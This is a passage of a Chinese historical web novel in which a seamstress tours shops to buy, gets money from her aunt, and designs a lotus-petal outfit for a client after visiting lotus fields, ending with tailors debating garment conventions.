张牙郎转了话题说:“那看六十贯的?” “别小瞧人,先看看七十贯的。” 第72章 第 72 章 莲花衣裳 七十贯的铺子遍地都是, 好铺子却难找。 林秀水开裁缝铺的,总不能边上是马家香烛裹头铺、做温州漆器营生的,也不能是傅官人刷牙铺、凌家纸马铺, 更别说卖光家羹,做果子行当的。 张牙郎揣着地经,站在桥头上, 把腰间的蒲扇抽出来摇了摇说:“七十贯便是上头那些铺子,供你开铺子都不合适,还有的在巷子口,也有两三间离桑树口很远, 过两座桥。” “加点钱吧,”张牙郎怂恿她,“一百贯的话, 能挑的地方就要多上许多。” 林秀水真逛累了,她动了动脚,来往人多不好意思蹲着,便将手搭在桥柱子上,听了这话她说:“你当我收头子钱的啊,来钱路子这么快。” “别说那么难听,我们都叫经总制钱的好不好, ”张牙郎坚决反对这个称呼, 毕竟叫着叫着, 就成了收头钱, 可吓人。 做牙人的老是跟官府打交道,收的钱也是最多的,卖房的钱每过一千文,要向官府多缴纳一笔税钱, 这叫头子钱。以前一千文多交三十三文,眼下增到五六十文。 不仅是牙税,印契钱、房钱、卖糟、卖酒、纳醋钱、卖纸钱、户长甲帖钱、保正牌限钱等等,最近还收版账钱,看店铺账簿的进账收税,林秀水曾听账房大骂税场。 她赚的钱,都不及税场一日收的头子钱半数的。 不过七十贯真的找不到合适的铺面,林秀水只能开始加钱,七十五贯、八十贯,八十一,八十二… “没有这样加钱的,”张牙郎不走了。 林秀水没搭理他,还在数,从八十二数到一百贯,在这一贯一贯往上加的钱数里,她终于突破了内心防线,甩了甩袖子说:“走,去瞧瞧一百贯的。” “咦,想通了?”张牙郎一骨碌站起来,精神极了,“这会儿买还能少两三贯,一日就能签契,屋子里打扫给你全包了,日后要是收屋税,我们这边也会给你先算好,要收多少银钱。” “别说得我一下能掏出钱来,”林秀水跟在他后头,差三十贯钱呢。 张牙郎小声凑过去说:“你若真想买,我在质库那也认识人,押些东西的话,借个三十贯不算难事。” “不借。” 林秀水一口拒绝,好歹她有了富余的钱,又上赶着去质库里借,她姨母非得从桑树口打到桑树尾不可。 张牙郎也不失望,仍旧兴冲冲带她去看铺子。 这一百贯的铺子,确实有不少好的,她走到街边,退后两步看了看旁边两间铺子,右边那间是陈家彩帛铺,左边是王家丝鞋铺,她又往前走了两步,前面还有两家孔八郎头巾铺,徐家绒线铺,后街则是陈二娘绦结铺、张家麻鞋铺。 中间空的铺子原来是做腰带的,做不下去,最后转让铺子,林秀水摸着下巴琢磨,在两边加一个裁缝铺还挺合适。 她迈入门槛,屋子很宽敞,一眼能看到头,里面所有装潢布置全被拆得干干净净,只有地板、天花板留着,估计要不是这两个不能拆,全能拆了带走。 一百贯买这屋子,说亏也不亏,这大小跟她姨母买的屋子里,楼下整个院子和三间屋子差不多大。 说亏也亏,只有个光溜溜的铺面,没有二层,有楼上的,地段又好,房牙子敢卖两百贯钱。 她看了五家,没有哪一家特别满意的,主要是对钱很不满意,走得腿酸疼,说还要再看看,不能做一锤子买卖。 还想问问其他的牙人,得慢慢挑,挑合适的。 路上盘算着,林秀水碰见卖夏菘的,买了两捆菜,到廊棚边,有大娘在卖鲈鱼的,吊了根绳,塞给她一条大鲈鱼。 “阿俏,我家大姑给人家剥莲子的,送了我两斤,你拿去煮甜汤喝。” 这妇人说完,从篮子里拿了一包鲜荷叶裹好的莲子递过来,林秀水对她有些印象,前几日找她补过一方手帕的。 “阿俏,我家里有菱和藕,晚点送些给你吃啊。” 林秀水一手提鱼,一手兜荷叶,她赶紧说:“要不用钱换,要不你们下次找我补东西,我不收钱。” 有人从柱子边上转过脸说:“我当真有东西要补的,天热懒得出来,下回拿给你瞧瞧。” “可不是,天一凉快,生意也来了。” 昨天下了场小雨,天没那么热,出来的人多,不再总躲着家里,或在船上到其他地方避避暑 热,缝补廊棚的生意比之前要好上些。 林秀水跟她们说了好久的话,才往前走,路过陈桂花家里烟雾飘飘,雾从紧闭的门缝里冒出来,热气蒸腾,只听得里面有模糊几道女声。 门吱呀一声打开,两个十来岁的姑娘走出来,相互在笑,其中一个还没走出门,拿着面小镜子在照,扶了扶自己的发髻,左右看看,止不住的笑。 另一个位娘子也盯着她脑袋看几眼,“这发髻可比之前的要好看,显得你脸都不大如圆盘了。” “少说这种鬼话,中元节还没到,”那小娘子哼一声。 陈桂花则出门送两人离开,正想往回走,看见林秀水又拐个弯,急急走过来,话还没说就笑,“秀姐儿” “生意看起来很好啊,”林秀水看了眼敞开的门,院子里还坐着两三个人。 “还行还行。” 陈桂花难得谦虚,她近来可是赚了好一笔钱,七月开始,下午洗头,晚上带她儿子一起去夜市里卖纱袋,卖发圈,到夜半子时路上人不多了,才回到家里睡两个时辰,起早上工。 屋里人催她,陈桂花应了声,说要再来些发圈,而后转身进门去,上了台阶又跑下来说:“秀姐儿,还是靠你给我指了条路子,我眼下是没什么好报答的,我近来还想去学学待诏的手艺,等我有了出息,我肯定多光顾你的生意。” 林秀水掂了掂鱼,换了只手拎着,脑子里在想待诏是什么,陈桂花又说道:“就是剃头匠。” “我听闻那的手艺可多了,怎么拔人家头上的白发、用篦子梳下油污、剃两颊上的细毛,修鬓边的头发,也有各种梳发的技巧,就是学手艺贵点,要两贯银钱呢。” 陈桂花之前学发髻,就是找人家巷子里个梳头婆婆学的,她还是舍不得钱,眼下也舍不得,辛苦挣的钱往外一掏就掏许多,跟剜她的心肝一样难受。 但她一想自己不成器的儿子,想在读书识字的小荷,又想起早跑到她前头去的王月兰,想想要学点好的,非学不可。 林秀水则说:“那确实得学,总能赚更多的钱,里头有人喊了。” 陈桂花急急忙忙应道:“来了。” 林秀水走了几步,家里门开着,王月兰下了工回来,在收衣裳,小荷在看一本书,摇头晃脑的,右手撸猫小叶的毛。 “跟陈桂花说什么呢?”王月兰将衣裳挂在肩头,抖了抖问。 林秀水叫小荷,“大宝,过来帮我拿一下东西,”又回王月兰的话,“说她的洗头营生呢,要再多学点,我说那不挺好的,这门手艺吃透了,以后就能多赚点。” 王月兰将衣裳挂到衣架上,闻言往院子上头瞧,正冒白烟,她努努嘴,又说不出来好话,憋了一句,“学点也好,多赚点。” 她这些日子织锦,织得脑袋疼,倒是没病,就是没精神,开了两副药吃好些了,早些行船回来时,看陈桂花去收便宜的柴条,大热天的一捆捆往家里背,她当时在那瞧着,终究上去搭了把手。 忽然就歇了那些攀比的心思,甚至在想,要不给人家寻寻柴条的生意。 她又唾弃自己,坐那想了老半天,说自己是天太热,热昏了头。 林秀水不清楚王月兰在想什么,洗了洗手出来说:“姨母,我下午去看了几间铺面。” “什么样的铺面?多少钱?”王月兰先是问道,紧接着道,“你想开裁缝铺子,我不会拦着,可你在裁缝作里干得正好,难不成就不干了,出来自己接活做,每月可赚不了那么多。” 眼下林秀水在裁缝作的月钱一涨再涨,从之前四月刚进到裁缝作里的两贯五钱,到她自己有了本事,回来说去缝领抹了,一次次高兴地说自己涨月钱了,领到许多节礼。 说裁缝作给她安排在缝补处当管事,虽然手底下只有三个人,王月兰还记得当时的感受,她摔破了一口碗,心却怦怦直跳,三人出去吃了顿饭,夜里又睡不着,在想林秀水的以后。 月钱从两贯多涨到十贯,节礼从原先的米面粮油,到各色布匹,时鲜水果,各地来的好东西,并州的剪刀,泽州的油衣和饴糖,金银水蜜桃、樱桃等等,王月兰认识几个字后,拼命给记下来,怕到时候忘记。 也记得林秀水在缝补处里,从手底下三个人,到又管着抽纱绣,去挑学徒,管的人更多,以及这次回来后说,因为七夕又多了好些人。 王月兰由衷得高兴,给她记着,中元节烧纸钱要同她娘说的。 正因为知道林秀水不容易,更不能理解,她要将赚的钱押在铺子上,那是整整百贯钱,又怕她开了铺子后,没法在裁缝作里赚钱,急得王月兰连喝两碗水,怕自己说些不好听的话。 可她想说,不行啊,不能开铺子整日围着铺子打转。这半年里你早上缝补,晚上熬夜上工,在裁缝作里日日打转,人胖了又很快瘦下来,累的手疼眼睛疼,好不容易有今天的日子。 林秀水知道姨母的顾虑和不安,她拿把椅子过来,坐在王月兰边上说:“我不会离开裁缝作的。” “那你还开铺子,难不成还跟之前缝补一样,早上晚上开,白日又到裁缝作里上工去,缝补摊子一日要两文,可是铺子买下来要一百贯,让它一直空着不成?”王月兰压着自己的声,把林秀水拉到屋里去。 林秀水面朝王月兰,神色认真地说:“姨母,你不要急。” “我不会放下裁缝作里的活计,正是在裁缝作里能有稳定赚钱的来路,我才能说我可以开个裁缝铺子,我可以给更多的人做衣裳。” “我之前一直在做缝补的活计时,虽然说会说,可也总是想有更多新奇的活上门,缝补不挑地方,我摆个摊子就能补,但裁缝的话,想有个正经的铺面。” 自从七夕认识许多人,好些人要请她做衣裳,可她一不像其他裁缝到处上门做活,二不像其他裁缝有专门的铺面。租的裁缝屋子里,如今堆了各色布料,要做的纱袋、绢孩儿衣裳,往后几日又得做回油布手套的生意,东西越来越多,不好带别人过去,她想想得有个铺面。 铺子买大不买小,与其等着以后置换,不如眼下买个大的,铺子的屋契比其他东西更叫林秀水安心。 至于到底怎么能把铺子开好,又能继续做裁缝作的活计,她还在盘算,暂且不会辞工,她需要钱和布料,一切稳定的来源,才能足以支撑她去做想做的事情,她想开间不一样的裁缝铺。 王月兰不懂她的打算,不好拦着她,她自认为脑子又不如林秀水活络,只是上了楼,拿出层层叠叠包好的碎银,总有五两银子。 “姨母我是没什么钱,我在裁缝这事上知晓得不多,你说要去做,就去做吧,”王月兰将钱塞到她手里,“反正再差,也不会过以前的苦日子了。” 林秀水愣神,五两碎银并不重,可她连手都觉得抬不起来,她嗫嚅着说:“姨母。” “你只管去做,没钱就说,姨母还年轻。” 林秀水摇摇头,她不知说什么话,只是将脑袋轻轻靠在王月兰肩膀上。 她想赚更多的钱,先补足剩下的三十贯。 至于她到底想开一间怎么样的裁缝铺,大抵就是卖正常穿的衣裳,给特殊需求 的人定制衣裳,每一种需求值得被看见。 比如裁缝作里最近百来个做衣裳的单子里,有个单子,大家推来阻去,并不想干,钱很多,足足有五贯,最后林秀水接了下来。 那小娘子见了她人就问说:“你看我长得像什么?” 林秀水从头到脚打量,穿着粉裙子,戴粉色的包布,全身上下是粉的。 她说了个不出错的回答,“粉。” “什么粉?” 林秀水想要钱,嘴巴很甜:“不施脂粉,却秀比胭脂水粉。” “那当然我是莲花花神,”娘子扬起头,“给我做莲花穿的衣裳。” 六月的花神,到七月里来做衣裳,那不叫应季,叫过季。 第73章 第 73 章 制芰荷以为衣,集芙蓉以…… 这小娘子叫张莲荷, 又生在六月里,总说笑自己是莲花花神。 她热衷于一切粉的衣裳头饰,但凡沾点粉的, 全往自己身上堆叠,虽说是有层次的粉,分得不太开, 像面粉混米粉般,料子又都是好料子。 莲花的粉是很漂亮的粉,花瓣不是雪白,如同覆盖着浅浅一层粉, 边缘慢慢由浅至深过渡。 林秀水之前那句话倒不是昧着良心说的,这穿得跟胭脂水粉一个色,本该淡妆却浓抹, 并不大合宜。 她先请张莲荷坐到屋子里的栲栳(kǎo lǎo)交椅上,自己则到一边去倒茶,最近裁缝作里个人做衣裳的单子格外多,顾娘子和庄管事商量,收拾出几个空屋子,专门用来接待和量身。 而那些做衣裳的活,则先分需要急穿的, 又肯加钱的先做, 分摊到各处裁缝手里。做裙子的, 做褙子的, 做抹胸的,要求不多,可衣裳做出来要好看,那对于裁缝来说, 真是“布”好“布”高兴。 比较稀奇的衣裳需求有,有人说她的衣裳,要大气要简单要俏皮要沉稳,难以想象这四个词是能够并排在一块,同时出现的。 也有要将衣裳仿古做旧,人家在骨董(古董)行里,衣裳穿旧不穿新,穿新说是最近做的,寓意不好,穿旧就能吹几十年前的衣料好货。 还有格外喜欢花的,想在衣裳上绣几十种花样子,最好从头到脚全包。 除去正常的,剩下都不算正常。 各位裁缝娘子先挑了些能接的活,剩下张莲荷的没人接,价钱是最高的,要求是最让人不解的,推到了林秀水这里。 林秀水将团茶倒进茶盏里,轻轻放到案几上,坐到另一把椅子上,张莲荷侧了侧身子,一手搭在桌子上,“你知不知道,莲花的生辰是几月几日?” “六月二十四日,”林秀水不明所以,这个日子又称荷诞,桑青镇莲花不多,想去观莲要去西湖,顾娘子之前带着儿女去看过。 张莲花抚了把头发,她生得很清秀,只是涂的脂粉很重,两颊处打了两团腮红。 “可叫你说对了,那时候我还在平江府里,我们说苏州嘛,那里葑门外头有荷花荡,莲花也能叫荷花,我去采莲、栽莲、放荷灯,摘了那莲花插在瓶子里。” 张莲荷说完重重叹口气,她人从平江府回来了,魂却丢在那了,丢到那荷花荡里去了,睡觉也想,吃饭也想,朝思暮想。 她也能做一首爱莲说,她爱莲,莲又生莲子,莲子能做莲子羹、莲子饭,时人说玉井饭,取自什么太华峰头玉井莲的意思,不如莲饭。 莲还能生莲藕,她爱莲,主要是爱吃生熟灌藕、二色灌香藕、藕鲊。 莲花瓣也能吃,焯过水加嫩豆腐一起,便叫作雪霞馔,要是捣成泥,掺米粉和糖就成了蓬糕。 张莲荷爱死莲花了,她日日冒出个念头,怎么自己就不是朵莲花呢,她想当一朵莲花。 莲又等同于荷,所以她说做莲花衣裳,那真是相当直白了,因为之前她跟裁缝作的张娘子说的要求是制芰(jì)荷以为衣兮,集芙蓉以为裳,还有句是荷衣兮蕙带。 这两句诗一出来,裁缝娘子全避开了,钱再多也不选,啥意思根本不懂啊。 张莲荷问林秀水,“你懂我的意思不,知道我想做什么衣裳吗?” 林秀水有备而来,昨日刚看见这两句诗时,她念都念不完整,这芰怎么念,是什么东西?说荷的,怎么又扯到芙蓉了,蕙带呢?她压根不懂阿。 于是便去请教了思珍,思珍书不是白读的,她一拿过纸来,就先笑了两声,“怎么,端午过了你读起屈原的诗来了。” “这是《离骚》里的诗句,制芰荷以为衣兮,芰不是旁的,是菱,能生菱角,这句话是用荷叶做成绿色的上衣。” 思珍又看下一句,“集芙蓉以为裳,芙蓉是荷花、莲花的别称,而我们常说上衣下裳,衣裳衣裳,这话便是缝缀荷花为下裳。” “又应了这句荷衣兮蕙带,出自《九歌》里。其实就是叫你做荷衣,蕙带是香草做的佩带,按你们裁缝的话来说,应当叫裙带。” 林秀水听得笔在狂写,一直点头,极为感谢思珍。这五贯钱可不好赚,从要求上便在考别人,但她终于懂了三个大概方向,一是上衣要荷叶的绿,二是下裙要荷花的粉,三是腰间要悬挂蕙带。 她的思绪从纸上回笼,如实跟张莲荷说。 倒是换了张莲荷惊诧,她抬起脸,目光在林秀水身上转了圈,她才慢慢开口道:“意思嘛,是这个意思,可我不要褶裙,开的莲花你看过吗,花瓣是一层层相叠的。抹胸不想要一根长布条样式的,我希望你来点花样,褙子我想要大袖的,不要绿的,要粉的…” “好,可以,行。” 林秀水一一记下,即使要求很细,毕竟这一套衣裳,张莲荷给的钱是十三贯,裁缝作八贯,林秀水拿五贯,料子得用各种上乘的料子。 她看着纸上的要求,真是一个头两个大,想不出来一点,衣裳不好做,钱不好赚。 她送走张莲荷,坐在椅子上支着脑袋想了许久,半点没动,收好东西,回到抽纱绣里,翻了下绣样,最近没有荷花或者莲花相关的花样。 从前三个人的抽纱绣,眼下除去林秀水,这会儿有了十一个人,先前就在的李锦和小七妹,后面来的五个学徒,织巧会织巧网拔尖的三个娘子。 如今屋子已经不再空旷,大家各自做着自己的活计,五个学徒抽纱,做花样子,三位娘子则先慢慢练在纱上绕线,活计很多,工钱一涨再涨。 一群人说说笑笑,手里活计不停,见了林秀水进来,都满面带笑地喊她,“管事。” 林秀水先关上门,她苦恼极了,转过身问大家,“你们想到这莲花,能想到其他什么东西吗?” “白莲花。” 有人抢先回答,说个莲花的颜色肯定不会错。 “那粉莲花?” “能不能别说废话。” 小七妹点点下巴说:“想到莲花,那就是步步生莲,管事我跟你说,前街有个王七娘成衣铺,里头有条罗裙可好看了,那布料垂落下来,走起来肯定跟莲花一样,就是要价六贯,买不起啊,买不起。” “莲花,”刚来没几日的王娘子道,她个性很爽朗,此时笑道,“我家里有个五岁的闺女,我街边上有老丈背着竹篓卖没开的荷苞,她问我荷花跟莲花是不是一种花。” “我就说是,大家叫法不一样罢了。” “她说不对的,荷花是没成婚的花,莲花是已经成婚的花,不然怎么会有莲子呢。” 屋里一静,继而有人笑出声,林秀水也被这童言稚语逗笑了,大家说了一大通,什么荷叶、蜻蜓,各种各样,林秀水依旧想不出来。 她得先抽纱,午间吃饭的时候,端着碗凑到别人桌边,问正举着筷子的老裁缝,“李婆,这莲花的话,你是怎么做成领抹的?” “什么怎么做的,绣蜻蜓戏莲花边,怎么,你想要一条?”老裁缝夹了块肉,咬一口不紧不慢回道。 “哎,我最近在染布,我知道时下有种印在布上的缠枝莲花边,”有个穿粉绿裙子的娘子也端着碗坐过来,“要不晚些上我那瞧瞧去。” “好啊好啊,”林秀水小鸡啄米似地点头。 “王婶,明日有没有莲子汤喝啊?我看阿俏是嘴馋了,再给她炖锅莲藕汤,我喝汤她吃莲藕,”说话那娘子走到灶房门口,笑着问了一句。 林秀水也从人背后偏过脑袋说:“行啊,我认识个卖莲藕水菱的阿婆,你们要吃的话,我明日买些来。” “菱角不行啊,六月的才好吃,那刚长起来的叫沙角菱,吃起来又脆又嫩,眼下都长老了,就是馄饨菱了,吃着绵软跟板栗似的,等再晚些,我们吃大红菱。” 话就歪了,一个个全说吃的上了,林秀水听得嘴馋,除了好吃,别的话没听出来。 她下了工在街边闲逛,每家铺子看过 去,上手摸摸人家的布料,瞧瞧做工。最近盛行两种颜色的裙子,一种是桃红夏布裙,没有绣样,纹样是彩绘上去的,有桃、杏春蟠、竞渡、艾虎,卖得比织样要便宜,街上随处可见。 一种是郁金香根染的裙,颜色像成熟的稻穗,这种裙子要价很贵,买得人却不少,大多上面有缀珠。 “莲花倒是不多见,”成衣铺的娘子说,“今年几大府里,卖得最好的还是石榴裙,石榴花染的红裙大家都喜欢,传到我们这里,就变成相近的桃红色了。” 林秀水细细看了这桃红色,颜色确实很偏近莲花的颜色,再浅一些的话会更好,最好染成由浅到深的粉,这种全粉还是过于普通。 她又拉起边上那条莲红的裙子,颜色偏紫偏暗,银红色是更浅的粉,像是从粉晕染了很多次的颜色。 颜色都不大满意,衣裳样式也没有选好,逛了会儿,只确定要选纱来做,下裙要加两层纱,不加白细布内衬。 林秀水终究没有头绪,买了一小篮的樱桃,划了两条河找金裁缝去了。 人家正在教导弟子,一看她来,便说:“这是我的忘年交,是做裁缝的小友。” “原来是这娘子。” 林秀水赶紧同人家行礼问好,那寒暄了会儿,那娘子先走了,她又讨教起荷衣的事情来。 “有点意思,我还没做过,你做完了给我瞧瞧,”金裁缝抿了口茶,饶有兴趣地开口。 林秀水忙坐下来说:“不对呀,金姨,我是来向你讨教的。” “可我不会,肚里没货。” 林秀水吃瘪,金裁缝搁了茶盏,问她道:“你去看过莲田吗?” “没有,”林秀水摇摇头,她这半年里,除了在桑青镇打转,压根没出过门,一门心思只顾着赚钱赚钱。 金裁缝就知道,她点点林秀水的胳膊,“你问我,问其他人,问上千百遍你都想不出来。你不出门,你不去看,又怎么能想出好的东西来呢。” 她继续道:“前朝有句诗叫荷叶罗裙一色裁,芙蓉向脸两边开,你且悟悟去吧。” 林秀水模模糊糊碰触到点东西,出了门,走了一路到自己的船上,划到桑桥渡后,坐在船舱里沉思。 直到有人用竹蒿轻轻敲她的船蓬,林秀水掀开竹帘,探出脑袋去,她松了口气,“是你啊陈九川,我还以为是谁呢。” 陈九川远远看她的船停在这里,看了好久,才划了过来,他顺势坐在自己船头,跟林秀水视线平齐,“大忙人也有闲坐的时候。” 他到镇里来每一次见林秀水,总是匆匆,好像在上林塘就把这辈子的话都说完了一般。 不敢打扰。 “少来,”林秀水将手搁在窗架上,“我正发愁呢。” “愁事,”陈九川故作疑问,“还是愁人?” “两样都发愁啊,想了一整天。” 陈九川握紧自己的手,他笑起来像冷笑。 “陈小九,”林秀水问他,“你看过莲田吗?” “莲田是谁?” 林秀水抬起脑袋看了他一眼,没事吧,“你常年在外面跑船运,连长满莲花的莲田也没有看过?” “嗯,是莲田啊,”陈九川重复。 他人称活地经,外面跑的河道支流,哪条哪路都知晓。 “你明日起早有空闲的话,我带你去看,”陈九川这回不假笑了,“过了清河坞,到西溪那里去,那里有一处湖湾,左边是菱角,右边是莲叶。” 林秀水听了有些心动,她可以选到明日休工,问桑英,桑英不去,她米行正是忙的时候,王月兰也没有闲情雅致去看莲,她这会儿织锦劲头可足了。 那能陪她去的,林秀水低下头看,小荷蹦起来欢呼,“我要回家了。” “什么回家啊?”林秀水听不懂,拉了拉她背上的包。 小荷不解且认真,“我叫小荷,去荷田,那不就是回家了。” 林秀水点点头,“那你的荷叶姐妹可真多。” 两人起早五更天坐陈九川的船,他划船很稳,手臂也很有劲,话难得少。 偶尔说一句,“从镇里到西溪要一个半时辰,你先睡一会儿。” 天还黑着,船边路过的人家挂着灯笼,蛙声阵阵,小荷在打呼噜。 林秀水摇摇头,又想起人家在前面,便说:“我不困。” “我跟你说说话。” 两人真的好久没正经说过什么话,离开上林塘后,许多事都变得不一样了。 从前一块夜里放笼子,抓鱼抓虾,到周边去卖,夏天里去别人家瓜田里买瓜,结果买了个坏瓜。 到镇里后,林秀水没怎么问陈九川的船运,陈九川也不会时常打扰她。 但两人却没有失去能聊的话题。 毕竟随便捡些东西来,哪怕说个菱角,两人都可以从以前转到眼下聊上许久。 林秀水都聊困了。 她再睁开眼,窗外一片绿,莲叶从窗口探进来,林秀水叫醒小荷,自己弯腰从船舱里出去,忘了腿发麻,陈九川伸手扶了她一把,默默收回手。 此时雾气还没有彻底散去,放眼望去十里莲田,莲花在莲叶里探出头来,有合拢的,有含苞待放的,也有全盛开的。 这里可以换小舟,不然船太大不好进去,陈九川在前面划船,小荷坐林秀水旁边,满面惊喜,伸手去拂迎面而来的莲花,她说:“好香。” 林秀水抓住从她脸上拂过的莲花,终于懂了,什么叫芙蓉向脸两边开,她置身于无穷的莲叶里,有朵莲花掉在她的腿边,她捡起来,细细端详。 突然兴奋道:“我想到了!” 陈九川回头看她,林秀水拿了炭笔出来,在纸上涂涂画画,他又转回去,看眼前大好风光,跟小荷说:“只有我们两个欣赏。” 他压根就不喜欢莲花,谈何欣赏,还烦莲叶,却竹蒿一甩,沉稳地在莲叶里往前划。 林秀水则坐小舟上,闻着扑鼻的莲花香气,掰下莲花的花瓣,放在裙子上,埋头苦画,有喷涌而出的灵感。 制芰荷以为衣兮,集芙蓉以为裳,她有些懂了这句诗的意思。 她先画了下裙,完全可以做不规则图案的,用莲花花瓣的样式做成一条裙子,莲花的花瓣渐次重叠,裙子也可以长短错落有致。 一定得用纱染,从浅粉渐渐到莲花粉,莲花的花瓣边缘颜色是最深的,林秀水想,她摸着花瓣,要用绣线缝一圈桃红色上去。 她涂涂改改,一条花瓣裙出现在纸上,日头出来,她眯着眼,直到脑袋上被陈九川盖了一顶荷叶,她抬头往上瞟,满意地继续画。 至于抹胸,她看向碧绿的叶片,不要一片式的,她咬着手,注意到荷叶的边缘,圆弧形,很有规律。 “我可以放弃平整的,”林秀水喃喃自语,“荷叶什么弧度,抹胸也可以是什么弧度。” 没人听得懂她的话,但林秀水抓起笔,画了两瓣荷叶拼凑在一起的,又进行细化,平平无奇的抹胸,变成了荷叶的圆弧,从上到下有荷叶的脉络走向,再打算绣点荷叶花样上去。这里的布料得厚实一点,罗布会比纱合适,胸口不能太透。 那么褙子的话,林秀水原本有想过,大袖就将袖子做大点,垂一些,形制还是按正常的来。结果拐了个弯,风吹得莲叶摇晃,莲花轻颤,花瓣微微抖动,林秀水盯得出神,忽而改了主意。 为什么不能将袖子也改成莲花瓣形状的,后背不动,只改袖子,这样一抬手,袖子轻甩,不就如同此时的莲花。 她在莲田里的亭子上,从早雾天画到晌午,陈九川带小荷去旁边采了菱角回来,她顺手接过,陈九川给了她一把莲子。 菱角又不好生吃。 又看了半下午莲田,回去时林秀水望着莲叶莲花渐渐远去,船上小荷哭得稀里哗啦,她说她想长在莲田里。 晚上林秀水的梦里也是莲花。 到第二日起早,她洗漱完,叼着个大饼往河道口跑,有人喊她,她只顾着匆匆挥挥手,她要挑布料去。 得先将画样给张莲荷看一遍,张莲荷盯着看了许久,手捏着纸,呼吸变得急促起来,问了好几遍,“你真能原模原样做出来?你要能出来,我二话没有。” 林秀水没把话说死,“我尽量。” 画样是画样,又不能保证一定能做好,想出来跟做出来的,那是两码事。 首先她想要的纱很多,可想要晕染渐变的粉,压根没有,她只能去染坊里染,染了好多遍,才勉强染到她满意的颜色。 到裁一片片花瓣的纸样,从腰间裁到脚踝,纱很不好裁,会滑会跑,要别人一起帮忙,用针固定住。 这种花瓣是莲花瓣加长的,有长有短,长的到脚踝边上,短的到膝盖,可这样单独成裙不好看,林秀水考虑在里面加纱裙,盖住的脚的那种。 将花瓣裙做成有裙头,可以用系带绑在腰间的合围裙。 林秀水来来回回更改,断断续续做了十日,期间张莲荷来了无数次,又不敢看,生怕没了惊喜。 张莲荷怀惴着许多份喜悦的心情,激动的心,在外面来回踱步,像期盼一个生命的降临,彻夜难眠。 直到终于做好的那日,她看着衣架上成套的衣裳,一步步靠近。褙子的颜色为莲花瓣尖上的粉,垂落的袖子如同花瓣,抹胸的绿是荷叶的绿色,不过分深沉,边缘处的圆弧很别致,上面绣了脉络和纹样。底下的裙子有两层,里布是白纱裙,外面为浅绿的,再绑着的合围裙为一片片纱面拼凑出来的莲花花瓣,花瓣的浅粉到渐深,自然垂落,像掉落的花瓣被缝在了一起,裙上绑了一条香草的佩带。 张莲荷那一刻彻底失语,眼睛揉了又揉,脚步停留在原地,她终于知道,什么叫荷以为衣兮,集芙蓉以为裳。 尤其是这套衣裳不光是瞧着好,当她小心翼翼,极为忐忑地穿上时,慢慢走出来时,只顾着低头看裙子,没想到一抬手,一走动,衣袖翩翩,裙摆摇曳,步步生莲。 大家的目光全在她的身上,在这衣裳上面,挪也挪不开眼,压根没敢围上去,只是在边上瞧着,这衣裳的种种细节,都对得起十三贯的工价。 “娘嘞” “别抢我的话。” “之前人家说什么莲花花神,我还在笑,我这下笑不出来了。” 一堆裁缝看着衣裳,嘴巴胡言乱语。 如果莲花成了衣裳,大抵便是如此,简而不凡,又不显得累赘,拖沓,粉得很有层次。 林秀水很欣赏这套她日夜苦熬,改了几十次做出来的衣裳,她静静地看着,那穿在别人身上,被极为珍视,而又动人的美丽。 完全没有想到这衣裳带来的风潮,让钱和铺子能同时来到—— 作者有话说:大家之前说想不出来,这裙子的灵感来源于荷花汉服,参考荷蓉裳原创汉服,还有摸鱼儿国风的花瓣大袖,以及钟灵记,文中改动,(我不是打广告啊!只是为了方便大家搜索)我想的颜色更接近重瓣荷花的粉全盛开时候的粉。 第74章 第 74 章 买铺子了! 莲花的料子不少, 裁缝们见惯了小团花折枝莲花纹绫、莲花童子纹,也有如泥金印花的手艺,雕刻莲花的样子, 涂抹金泥填彩印在衣料上。 可不如这套莲花衣裳来得出彩,吸睛,目光全落在衣裳上。 时下衣裳出众的有三点, 一是布料,诸如水绸、天净纱、织锦缎等等,二为技艺,织金、泥金、刺绣、缀珠、彩绘、绞缬等, 三便是颜色,石榴红、郁金香色、鹅黄、藕荷、青绿几色等。 却没有在形制上让人眼前一亮的,翻来覆去, 窄袖、大袖、直袖,合围裙、百褶、百迭,基本没有突破,反而在领抹上卷生卷死,下各种功夫和手艺。 “从来不知道,可以将裙做成花瓣形的,”做裙子十来年的裁缝感慨, “我们恨不得每条裙褶打得一样宽, 下摆笔直, 反而将花样都放在布料上, 在裙带上。” 缝大袖衣的裁缝没收回目光,将视线落到花瓣大袖上,喃喃自语,“可不是, 我从不敢打破形制,大袖的宽能一放再放,其余照旧是按形制来的。” 大家从震惊中回过神,又讨论起衣裳来,而目光之中的张莲荷,低头细看,手轻轻抚过纱裙。裙头有粉白荷花、绿蜻蜓,浅青荷叶的绣样,窄窄一条边而已,她盯着细看,又抬起袖子,拂过去,边缘的丝线泛着光泽。 她就站在那里,屋子里有镜架,却也不去坐下,她不敢坐,太漂亮的衣裳会让人束手束脚起来。 林秀水问她,张莲荷连说话都是轻声的,再也没有之前昂起头,说自己莲花花神的俏皮,她往外挪了两步说:“怕啊。” “这纱最容易勾丝了。” 其他过来瞧热闹的裁缝笑,人群里有人伸手指指林秀水,“你找阿俏呀,能抽纱,又能加纱,我们坏了的纱衣都是找她补的。” “只管坐,坏了我给你补好,”林秀水将手搭在她肩头,请她坐下,“要看坐下来、走路的样子,还得请这些娘子帮忙瞧瞧,哪里要改的。” 衣裳并不是做完能穿便好了,量的尺数虽说量准了,做出来却并不一定极为合身,要一改、二改,最终定衣,不再进行更改。 “这会儿不给我吗?”张莲荷捂着裙子,她面色震惊,完全打乱了她的计划。 她准备今日在桑绫弄逛一天,明天起早五更天上南大街去,后日到金银坊去,她可以三过家门而不入,大后日让衣裳休息,她看衣裳休息。 林秀水绕到她身前说:“抹胸这里要改,有些大了,边缘不是很贴合。” 张莲荷立即道:“我才十六,我还会长。” 林秀水当没听见,又指指裙子腰身,“这边也要改一改,坐下来紧了点。” “我不吃不喝,我可以瘦。” 给大家听乐了,林秀水无奈道:“你吃完两日六餐,我就还给你。” “其实我一日也能吃六餐的。” “要早点给我啊。” 最终张莲荷换下这套衣裳,仔仔细细套在衣架上,一步三回头走了,林秀水都怕她说出,别了,我的衣裳。 人家前脚走的,后脚林秀水就出了门,两个学徒帮她扛着衣裳架子,穿过三条道,去了西后院里。 各处裁缝管事早就到了,坐在屋子里,隔着门窗林秀水都能听见激烈的吵嚷。 有一道女声盖住了吵嚷声,清晰地传来,“懂不懂,我说的是大袖衫就只有三种,对襟大袖裁开,后背缝上一个三角兜的,要不就是前短后长,还有分裁式的,接这种花瓣袖的那是破坏形制的!好看,那也是破坏形制!” 